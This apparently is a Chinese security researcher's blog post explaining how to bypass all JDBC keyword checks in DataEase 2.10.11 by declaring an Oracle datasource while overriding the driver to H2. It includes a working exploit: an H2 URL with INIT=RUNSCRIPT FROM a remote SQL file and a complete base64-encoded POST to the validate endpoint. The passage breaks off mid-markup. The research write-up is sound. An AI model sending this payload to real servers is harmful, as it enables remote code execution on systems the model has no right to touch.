{"id":3854,"date":"2025-08-11T15:20:37","date_gmt":"2025-08-11T07:20:37","guid":{"rendered":"https:\/\/fushuling.com\/?p=3854"},"modified":"2025-08-23T15:01:35","modified_gmt":"2025-08-23T07:01:35","slug":"the-end-of-dataease-jdbc-bypass","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2025\/08\/11\/the-end-of-dataease-jdbc-bypass\/","title":{"rendered":"\u8f6c\u5316\u601d\u8def\uff1a\u5982\u4f55\u5de7\u5999\u7ed5\u8fc7 DataEase \u6240\u6709 jdbc \u68c0\u6d4b"},"content":{"rendered":"\n<p>\u672c\u6587\u9996\u53d1\u516c\u4f17\u53f7\u6f2b\u6f2b\u5b89\u5168\u8def\uff1a<a href=\"https:\/\/mp.weixin.qq.com\/s\/3luOvtjpff94izA_-huyAg\">https:\/\/mp.weixin.qq.com\/s\/3luOvtjpff94izA_-huyAg<\/a><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u524d\u8a00<\/h1>\n\n\n\n<p>\u5728\u4e4b\u524d\u6316\u4e86\u51e0\u4e2adataease\u7684rce\u4e4b\u540e\uff0c\u53d1\u4e86\u7bc7dataease h2 jdbc url bypass\u7684\u6587\u7ae0\uff0c\u5176\u5b9e\u6211\u5f53\u65f6\u4e3b\u8981\u662f\u60f3\u804a\u804ah2 jdbc url\u7684bypass\u6280\u5de7\uff0c\u56e0\u4e3a\u73b0\u5728\u7f51\u4e0a\u5173\u4e8eh2 jdbc\u7684\u6587\u7ae0\u5176\u5b9e\u66f4\u591a\u804a\u7684\u662f\u5982\u4f55\u5229\u7528\uff0c\u804a\u5982\u4f55bypass\u7684\u6bd4\u8f83\u5c11\u3002\u53d1\u5b8c\u4e4b\u540ekiller\u5e08\u5085\u544a\u8bc9\u6211\u5176\u5b9e\u73b0\u5728\u7684dataease jdbc rce\u8fd8\u80fdbypass\uff0c\u751a\u81f3\u53ef\u4ee5bypass dataease\u6240\u6709jdbc\u68c0\u6d4b\u903b\u8f91\uff0c\u5728killer\u5e08\u5085\u7684\u6307\u70b9\u4e0b\uff0c\u7ec8\u4e8e\u53d1\u73b0\u4e86dataease\u8fd9\u4e2a\u6709\u8da3\u7684\u903b\u8f91\u6f0f\u6d1e\uff0c\u5728\u8fd9\u91cc\u5206\u4eab\u4e00\u4e0b\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u73af\u5883\u642d\u5efa<\/h1>\n\n\n\n<p>\u56e0\u4e3a\u6211\u81ea\u5df1\u7528\u7684\u662fWindows\uff0c\u800cdataease\u5b98\u65b9\u6709\u6253\u5305\u597d\u7684\u80fd\u76f4\u63a5\u8fd0\u884c\u7684exe\u6587\u4ef6\uff0c\u6240\u4ee5\u6211\u4e00\u822c\u90fd\u7528\u7684\u8fd9\u4e2a\uff0c\u4e0b\u8f7d\u4e00\u4e2a2.10.11\u7684dataease\uff1a<a href=\"https:\/\/community.fit2cloud.com\/download\/de-desktop\/2.10.5?arch=win_amd64\">https:\/\/community.fit2cloud.com\/download\/de-desktop\/2.10.11?arch=win_amd64<\/a><\/p>\n\n\n\n<p>\u7136\u540e\u8fd0\u884c\u4e00\u4e0b\u5373\u53ef\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250807-222239-7-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250807-222239-7-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250807-222620-7-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250807-222620-7-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">DataEase\u7684JDBC\u89e3\u6790\u903b\u8f91<\/h1>\n\n\n\n<p>\u8ba9\u6211\u4eec\u56de\u5230\u6700\u521d\u7684\u8d77\u70b9\uff0c\u770b\u770bdataease\u7a76\u7adf\u662f\u600e\u4e48\u89e3\u6790jdbc\u7684\u3002<\/p>\n\n\n\n<p>jbdc\u7684\u89e3\u6790\u903b\u8f91\u4e3b\u8981\u5728<code>CalciteProvider#getConnection<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-225334%3D28-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-225334%3D28-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:736px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u9996\u5148 <code>datasourceType<\/code> \u83b7\u53d6\u4e86\u6211\u4eec\u9009\u62e9\u7684jdbc type\uff0c\u7136\u540e\u6839\u636e type \u8fdb\u5165\u5bf9\u5e94\u7684 switch \u5206\u652f\uff0c\u6bd4\u5982\u5047\u8bbetype\u662f h2\uff0c\u5c31\u4f1a\u901a\u8fc7<code>configuration = JsonUtil.parseObject(coreDatasource.getConfiguration(), H2.class)<\/code>\u83b7\u53d6\u5bf9\u5e94\u7684<code>configuration<\/code>\uff0c\u7136\u540e\u518d\u5f80\u4e0b\u9762\u770b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-225616-28-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-225616-28-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:675px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u9996\u5148\u4f1a\u901a\u8fc7<code>String driverClassName = configuration.getDriver()<\/code>\u83b7\u53d6\u5bf9\u5e94\u7684\u9a71\u52a8\uff0c\u6700\u540e\u901a\u8fc7<code>conn = driverClass.connect(configuration.getJdbc(), props)<\/code>\u8fdb\u884c\u5bf9\u5e94\u7684jdbc\u8fde\u63a5\uff0c\u5177\u4f53\u7684jdbc url\u6765\u81ea\u4e8e<code>configuration.getJdbc()<\/code>\u8fd4\u56de\u7684\u503c\u3002<\/p>\n\n\n\n<p>\u524d\u51e0\u4e2a\u7248\u672c\u91ccdataease\u5b98\u65b9\u4fee\u590djdbc\u6f0f\u6d1e\u5176\u5b9e\u90fd\u662f\u4ece<code>getJdbc()<\/code>\u8fd9\u91cc\u5165\u624b\u7684\uff0c\u6bd4\u5982\u4feeh2\u5c31\u662f\u5728<code>getJdbc()<\/code>\u8fd9\u91ccban\u5bf9\u5e94\u7684\u5173\u952e\u5b57\uff0c\u5982\u679c\u6709\u5173\u952e\u5b57\u5c31\u76f4\u63a5\u9000\u51fa\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-230036-28-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-230036-28-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:748px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u660e\u4fee\u6808\u9053\uff0c\u6697\u5ea6\u9648\u4ed3<\/h1>\n\n\n\n<p>\u4ece\u4e0a\u9762\u7684\u5206\u6790\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\uff0c\u5bf9\u4e8e\u6bcf\u4e2ajdbc\u9a71\u52a8\u7684\u68c0\u6d4b\u5176\u5b9e\u90fd\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\uff0c\u6bd4\u5982\u5728oracle\u8fd9\u4e2a\u9a71\u52a8\u91cc\u81ea\u7136\u5c31\u4e0d\u4f1a\u6709h2\u7684\u68c0\u6d4b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-230314-28-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-230314-28-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u90a3\u4e48\u8fd9\u91cc\u6211\u4eec\u81ea\u7136\u4f1a\u6709\u4e00\u4e2a\u5f88\u6709\u8da3\u7684\u60f3\u6cd5\uff0c\u5982\u679c\u6211\u4eec\u5728\u6700\u5f00\u59cb\u8fde\u63a5h2 jdbc\u7684\u65f6\u5019\uff0c\u6307\u5b9a\u8fde\u63a5\u7684type\u4e3aoracle\uff0c\u8d70\u7684\u5c31\u662foracle\u7684\u68c0\u6d4b\u903b\u8f91\u4e86\uff0c\u4e0d\u5c31bypass\u4e86\u6240\u6709\u7684\u5173\u952e\u5b57\u5417\uff1f\u800c\u5c31\u5728\u8fd9\u4e2a\u4f8b\u5b50\u91cc\uff0c\u53ea\u8981\u6211\u4eec\u7684url\u7b26\u5408\u8981\u6c42(\u4e0d\u542bhostName\u5373\u53ef)\uff0c\u8fd4\u56de\u7684\u5c31\u662f<code>getJdbcUrl()<\/code>\uff0c<code>getJdbcUrl()<\/code>\u5176\u5b9e\u662f<code>JdbcUrl<\/code>\u5bf9\u5e94\u7684getter\u65b9\u6cd5\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u4f20\u5165\u7684JdbcUrl\u5bf9\u5e94\u7684\u503c\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250626-012040-26-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250626-012040-26-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:807px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u73b0\u5728\u6211\u4eec\u5c31\u80fd\u7ed5\u8fc7dataease\u5bf9\u4e8e\u5173\u952e\u5b57\u7684\u68c0\u6d4b\u4e86\uff0c\u4f46\u8fd8\u6709\u4e00\u4e2a\u95ee\u9898\uff0c\u6bcf\u4e2a\u7c7b\u4e4b\u95f4\u7684\u9a71\u52a8\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\uff0c\u5982\u679c\u6211\u6307\u5b9aType\u4e3aoracle\uff0c\u89e3\u6790\u51fa\u6765\u7684\u5c31\u662fOracle\u8fd9\u4e2a\u7c7b\uff0c<code>configuration.getDriver()<\/code>\u8fd4\u56de\u7684\u9a71\u52a8\u81ea\u7136\u4e5f\u662fOracle\u8fd9\u4e2a\u7c7b\u7684driver\uff0c\u4e5f\u5c31\u662f<code>oracle.jdbc.driver.OracleDriver<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-231349-28-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-231349-28-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:761px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5982\u4f55\u89e3\u51b3\u9a71\u52a8\u8fd9\u4e2a\u95ee\u9898\u5462\uff1f\ud83e\udd14\ud83e\udd14<\/p>\n\n\n\n<p>\u518d\u56de\u5230\u6700\u5f00\u59cb\uff0c\u6211\u4eec\u8fd9\u4e2a<code>configuration<\/code>\u662f\u901a\u8fc7<code>JsonUtil.parseObject<\/code>\u89e3\u6790\u51fa\u6765\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-231534-28-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-231534-28-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u6765\u770b\u770b<code>JsonUtil.parseObject<\/code>\u7684\u903b\u8f91\uff0c<code>objectMapper<\/code> \u6765\u81ea<code>com.fasterxml.jackson.databind.ObjectMapper<\/code>\uff0c\u4e5f\u5c31\u662f\u8fd9\u91cc\u5176\u5b9e\u662f\u4f7f\u7528 <code>Jackson<\/code> \u7684 <code>objectMapper<\/code> \u628a JSON \u5b57\u7b26\u4e32\u53cd\u5e8f\u5217\u5316\u4e3a <code>classOfT<\/code> \u7c7b\u578b\u7684 Java \u5bf9\u8c61\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-231730-28-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-231730-28-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6709\u4e00\u4e2a\u975e\u5e38\u6709\u8da3\u7684\u70b9\uff0cJackson\uff08\u4ee5\u53ca\u5176\u4ed6\u5927\u591a\u6570 JSON \u53cd\u5e8f\u5217\u5316\u6846\u67b6\uff09\u7684\u5de5\u4f5c\u65b9\u5f0f\u662f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5148\u521b\u5efa\u5bf9\u8c61\u5b9e\u4f8b\uff08\u4f1a\u6267\u884c\u9ed8\u8ba4\u503c\u521d\u59cb\u5316\uff09\u3002<\/li>\n\n\n\n<li>\u518d\u6839\u636e JSON \u4e2d\u7684\u5b57\u6bb5\u8fdb\u884c\u8d4b\u503c\u3002<\/li>\n\n\n\n<li>\u5982\u679c JSON \u4e2d\u6709\u67d0\u4e2a\u5b57\u6bb5\uff0c\u5b83\u4f1a\u8986\u76d6\u5bf9\u8c61\u7684\u9ed8\u8ba4\u503c\u3002<\/li>\n\n\n\n<li>\u5982\u679c JSON \u4e2d\u6ca1\u6709\u67d0\u4e2a\u5b57\u6bb5\uff0c\u5219\u5bf9\u8c61\u7684\u8be5\u5b57\u6bb5\u4f1a\u4fdd\u7559\u9ed8\u8ba4\u503c\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u4e5f\u5c31\u662f\u8bf4\uff1a<strong>\u6211\u4eec\u5176\u5b9e\u53ef\u4ee5\u4e3b\u52a8\u6307\u5b9a driver \u7684\u503c\u6765\u8986\u76d6\u9ed8\u8ba4\u7684 driver \u7684\u503c oracle.jdbc.driver.OracleDriver<\/strong><\/p>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u672c\u5730\u53ef\u4ee5\u505a\u4e2a\u5c0f\u5b9e\u9a8c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package JDBC;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\n\npublic class parse {\n    private static final ObjectMapper objectMapper;\n\n    static {\n        objectMapper = new ObjectMapper();\n    }\n\n    public static &lt;T&gt; T parseObject(String json, Class&lt;T&gt; classOfT) {\n        if (json == null) return null;\n        T t = null;\n        try {\n            t = objectMapper.readValue(json, classOfT);\n        } catch (JsonProcessingException e) {\n            e.printStackTrace();\n        }\n        return t;\n    }\n\n    public static void main(String&#91;] args) {\n        H2 h2 = parseObject(\"{\\\"driver\\\":\\\"org.h2.Driver\\\"}\",H2.class);\n        System.out.println(h2.getDriver());\n    }\n}\n\nclass H2 {\n    private String driver = \"oracle.jdbc.driver.OracleDriver\";\n    public String getDriver() {\n        return driver;\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-232341-28-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250628-232341-28-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\uff0c\u6211\u4eec\u4e3b\u52a8\u4f20\u5165 <code>org.h2.Driver<\/code> \u6210\u529f\u8986\u76d6\u4e86\u9ed8\u8ba4\u7684 <code>oracle.jdbc.driver.OracleDriver<\/code>\u3002\u56e0\u6b64\u73b0\u5728\u7684\u601d\u8def\u5c31\u6bd4\u8f83\u660e\u663e\u4e86\uff0c\u6211\u4eec\u53ea\u9700\u8981\u6307\u5b9aType\u4e3aoracle\uff0c\u7136\u540e\u4f20\u5165h2\u7684jdbc url\uff0c\u518d\u6307\u5b9adriver\u7684\u503c\u4e3a <code>org.h2.Driver<\/code>\uff0c\u90a3\u4e48\u8fd4\u56de\u7684\u5c31\u4f1a\u662fh2\u7684jdbc url\uff0c\u6307\u5b9a\u7684jdbc\u5f15\u64ce\u4e5f\u4f1a\u662fh2\u5bf9\u5e94\u7684\u5f15\u64ce\uff0c\u6309\u7167h2\u7684\u903b\u8f91\u5b9e\u73b0jdbc\u8fde\u63a5\u3002<\/p>\n\n\n\n<p>\u73b0\u5728\u7684payload\u5982\u4e0b\uff0c\u53ef\u4ee5\u770b\u5230\u6211\u8fd9\u91cc\u7684payload\u76f4\u63a5\u5305\u62ec\u4e86\u88ab\u8fc7\u6ee4\u7684\u5173\u952e\u8bcdINIT\u548cRUNSCRIPT\uff0c\u4f46\u8fd8\u662f\u901a\u8fc7\u4e86\u6821\u9a8c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"dataBase\":\"\",\"driver\":\"org.h2.Driver\",\"jdbcUrl\":\"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http:\/\/127.0.0.1:50025\/poc.sql'\",\"urlType\":\"jdbcUrl\",\"sshType\":\"password\",\"extraParams\":\"\",\"username\":\"\",\"password\":\"\",\"host\":\"\",\"authMethod\":\"\",\"port\":0,\"initialPoolSize\":5,\"minPoolSize\":5,\"maxPoolSize\":5,\"queryTimeout\":30,\"connectionType\":\"sid\"}<\/code><\/pre>\n\n\n\n<p>\u5c06\u4e0a\u8ff0payload base64\u7f16\u7801\u540e\u653e\u5165configuration\u6784\u9020\u6570\u636e\u5305\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/de2api\/datasource\/validate HTTP\/1.1\nHost: 127.0.0.1:8100\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko\/20100101 Firefox\/139.0\nAccept: application\/json, text\/plain, *\/*\nAccept-Language: zh-CN\nAccept-Encoding: gzip, deflate, br\nContent-Type: application\/json\nContent-Length: 556\nOrigin: http:\/\/127.0.0.1:8100\nConnection: close\nReferer: http:\/\/127.0.0.1:8100\/\nCookie: language=zh_CN; sessionId=29bd8318-3776-46a2-8a7e-d604dc4cdd33\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\n\n{\"id\":\"\",\"name\":\"a\",\"description\":\"\",\"type\":\"oracle\",\"configuration\":\"eyJkYXRhQmFzZSI6IiIsImRyaXZlciI6Im9yZy5oMi5Ecml2ZXIiLCJqZGJjVXJsIjoiamRiYzpoMjptZW06dGVzdGRiO1RSQUNFX0xFVkVMX1NZU1RFTV9PVVQ9MztJTklUPVJVTlNDUklQVCBGUk9NICdodHRwOi8vMTI3LjAuMC4xOjUwMDI1L3BvYy5zcWwnIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiIiwicGFzc3dvcmQiOiIiLCJob3N0IjoiIiwiYXV0aE1ldGhvZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo1LCJxdWVyeVRpbWVvdXQiOjMwLCJjb25uZWN0aW9uVHlwZSI6InNpZCJ9\"}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F06%2FQQ20250626-012740-26-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" 